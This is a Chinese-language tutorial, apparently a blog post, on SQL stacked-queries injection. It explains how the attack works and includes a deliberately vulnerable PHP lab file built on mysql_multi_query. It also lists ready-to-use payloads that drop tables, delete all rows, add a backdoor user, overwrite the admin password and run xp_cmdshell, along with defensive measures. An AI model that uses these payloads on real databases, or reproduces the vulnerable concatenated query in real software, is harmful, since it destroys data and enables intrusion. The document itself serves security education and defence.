Web渗透之SQL注入-堆叠注入(Stacked Queries Injection)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、概念

1、核心原理

2、与普通注入的区别

3、触发条件

[4、常见攻击 Payload](#4、常见攻击 Payload)

5、实际案例

6、防御措施

7、总结

二、靶场注入示例

一、靶场代码分析

二、正常请求与响应

三、堆叠注入攻击过程

四、堆叠注入原理

[五、其他可能的 Payload 示例](#五、其他可能的 Payload 示例)

六、防御措施

七、总结


一、概念

堆叠注入 是指攻击者在 SQL 语句末尾使用分号 ; 结束当前查询,然后再执行一条或多条额外的 SQL 语句,从而实现多条语句连续执行的一种注入技术。

1、核心原理

在支持多语句执行 的数据库连接驱动中,SQL 引擎可以一次性解析并执行由分号分隔的多个 SQL 语句。攻击者利用这一特性,在原本只有一个查询的位置注入 ; 后跟任意 SQL 命令。

示例: 原始查询:

复制代码
SELECT * FROM users WHERE id = 1

如果参数 id 存在注入点,攻击者输入:

复制代码
1; DROP TABLE users --

拼接后的 SQL:

复制代码
SELECT * FROM users WHERE id = 1; DROP TABLE users -- '

数据库会先执行 SELECT,再执行 DROP TABLE users,造成破坏。

2、与普通注入的区别

注入类型 是否允许多条语句 典型目的
普通注入(UNION、报错、盲注) 窃取数据
堆叠注入 执行任意 SQL(增、删、改、执行存储过程等)

3、触发条件

堆叠注入并非所有环境都支持,需要满足:

  1. 数据库驱动支持多语句执行

    • MySQL + PHP(mysqliPDO 默认不开启 多语句,需设置 PDO::MYSQL_ATTR_MULTI_STATEMENTStrue

    • SQL Server、PostgreSQL 默认支持

    • Oracle 需特殊配置

  2. Web 应用使用了支持多语句的 API (例如 PHP 的 mysqli_multi_query()

  3. 注入点可以成功闭合且注释掉后续多余代码

4、常见攻击 Payload

1. 删除数据

复制代码
'; DELETE FROM users WHERE 1=1; --

2. 插入后门用户

复制代码
'; INSERT INTO users (username, password) VALUES ('hacker', 'pass'); --

3. 修改数据

复制代码
'; UPDATE users SET password = 'hacked' WHERE username = 'admin'; --

4. 执行存储过程(SQL Server)

复制代码
'; EXEC xp_cmdshell 'whoami'; --

5. 延时盲注(某些环境)

复制代码
'; SELECT SLEEP(5); --

5、实际案例

假设一个搜索框的 SQL 为:

复制代码
$sql = "SELECT * FROM products WHERE name = '".$_GET['name']."'";

攻击者输入:

复制代码
apple'; DROP TABLE products; --

结果:

复制代码
SELECT * FROM products WHERE name = 'apple'; DROP TABLE products; -- '

成功删除 products 表。

6、防御措施

  1. 禁止使用多语句执行函数 在 PHP 中避免使用 mysqli_multi_query(),使用 query()prepare() 代替。

  2. 参数化查询(预编译) 无论是否支持多语句,预编译可以彻底防止 SQL 注入。

  3. 数据库账户最小权限 应用程序账户不应有 DROPCREATE 等危险权限。

  4. 输入过滤 过滤或转义分号 ;,但不如参数化可靠。

  5. WAF 规则 拦截包含 ; + SQL 关键字(如 DROPINSERTUPDATE)的请求。

7、总结

堆叠注入危害极大,因为它可以执行任意 SQL 命令 ,而不仅仅是窃取数据。但利用条件较为苛刻,需要数据库驱动和应用代码的支持。根本防御依然是参数化查询,同时限制数据库账户权限。

二、靶场注入示例

一、靶场代码分析

原始 PHP 代码(demo4.php)如下:

复制代码
<?php
$conn = mysql_connect("127.0.0.1", "root", "root", "demo");
mysql_query($conn, "set names utf8");
​
$id = $_GET['id'];
​
$sql = "delete from userinfo where id={$id}";
echo $sql;
​
$res = mysql_multi_query($conn, $sql);
?>

关键漏洞点:

  • 使用了已废弃的 mysql_* 函数(PHP 7.0 后移除),但更重要的是 mysql_multi_query() 允许一次性执行多条由分号 ; 分隔的 SQL 语句。

  • 直接将 GET 参数 $id 拼接到 DELETE 语句中,没有任何过滤或参数化处理。

  • 代码没有对用户输入进行转义或校验,攻击者可以注入额外的 SQL 语句。

注意mysql_multi_query()mysqli_multi_query() 的前身,功能相同------执行多条 SQL 语句。堆叠注入正是利用了这一特性。


二、正常请求与响应

正常请求

复制代码
http://127.0.0.1/demo4.php?id=1

拼接后的 SQL

复制代码
delete from userinfo where id=1

页面输出

复制代码
delete from userinfo where id=1

(仅打印 SQL 语句,不显示执行结果,但数据库中 id=1 的记录被删除)


三、堆叠注入攻击过程

攻击者在 id 参数中插入分号 ; 并追加第二条 SQL 语句。

恶意请求

复制代码
http://127.0.0.1/demo4.php?id=1;delete from userinfo

实际执行的 SQL 变成

复制代码
delete from userinfo where id=1; delete from userinfo

解析

  1. 第一条语句:delete from userinfo where id=1(删除 id=1 的记录)

  2. 第二条语句:delete from userinfo删除整个 userinfo 表的所有数据

效果:全表数据被清空,危害极大。


四、堆叠注入原理

  • 核心 :数据库驱动支持多语句执行 (Multi-Query),允许用分号 ; 分隔多条 SQL 语句。

  • 触发条件

    1. 应用程序使用了支持多语句的 API(如 mysql_multi_querymysqli_multi_query)。

    2. 数据库连接未禁止多语句(MySQL 默认允许,但 PHP 的 mysqli_query() 不支持多语句)。

    3. 注入点可以闭合并注释掉后续多余的代码(本例中无需注释,因为 $sql 直接拼接,没有多余后缀)。

与普通 SQL 注入的区别

  • 普通注入(UNION、报错、盲注)只能执行一条查询,目的是窃取数据

  • 堆叠注入可以执行任意多条 SQL 语句,包括 INSERTUPDATEDELETEDROPCREATE 等,实现数据篡改、删除、提权等破坏性操作。


五、其他可能的 Payload 示例

目的 Payload 效果
删除整张表 1; DROP TABLE userinfo 表被删除
插入后门数据 1; INSERT INTO userinfo (id, name) VALUES (99, 'hacker') 添加恶意用户
修改数据 1; UPDATE userinfo SET name='admin2' WHERE id=1 修改记录
延时探测(盲注) 1; SELECT SLEEP(5) 响应延迟5秒
执行系统命令(需权限) 1; SELECT xp_cmdshell('whoami')(SQL Server) 命令执行

六、防御措施

  1. 禁用多语句执行

    • 避免使用 mysql_multi_querymysqli_multi_query 等函数。

    • 使用 mysql_query(已废弃)或 mysqli_query(默认不支持多语句)即可防止堆叠注入。

  2. 参数化查询(预编译)

    • 使用 PDO 或 mysqli 的 prepare() + execute(),彻底杜绝 SQL 注入,无论是否支持多语句。
    复制代码
    $stmt = $conn->prepare("DELETE FROM userinfo WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
  3. 输入验证

    • 对于数字型 ID,强制转换为整数:$id = (int)$_GET['id']

    • 对于字符串,使用白名单过滤。

  4. 最小权限原则

    • 数据库账户不应拥有 DROPTRUNCATEINSERT 等危险权限,仅授予必要的 DELETE(且限定表)。
  5. WAF 规则

    • 拦截包含 ; 后接 SQL 关键字(如 DELETEDROPINSERT)的请求,但注意编码绕过。

七、总结

  • 堆叠注入危害巨大,因为攻击者可以执行任意 SQL 命令,而不仅仅是窃取数据。

  • 利用条件严格 :需要应用代码使用 multi_query 类函数,且数据库驱动支持多语句。

  • 根本防御:参数化查询 + 禁用多语句函数 + 最小数据库权限。

相关推荐
Full Stack Developme1 小时前
SQL 执行顺序 及 全部关键字
数据库·sql
ylscode2 小时前
Comodo Internet Security 曝高危零日漏洞 ComoDoS:单个 IPv6 数据包即可触发 Windows 蓝屏死机
网络·安全·安全威胁分析
渣渣盟2 小时前
MySQL DQL全面解析:从入门到精通
数据库·sql·mysql·dql
开开心心_Every5 小时前
解决打印机共享难题的实用工具
linux·b树·安全·游戏·随机森林·pdf·计算机外设
CodeStats7 小时前
从JDBC时代到MyBatis封神:SQL全流程手写ORM实战
sql·mysql·mybatis
@insist1237 小时前
系统架构设计师-基于 GB/T 9387.2 标准的网络安全架构
web安全·架构·系统架构·软考·系统架构设计师·软件水平考试
ylscode7 小时前
HexStrike AI v6.0 深度解析:MCP协议驱动的网络安全自动化框架与红队规避实战
网络·人工智能·安全·安全威胁分析
程序猿乐锅8 小时前
【MySQL | 第七篇】 索引使用规则
数据库·sql·mysql
Full Stack Developme8 小时前
行锁如何影响并发“修改再查询”场景
sql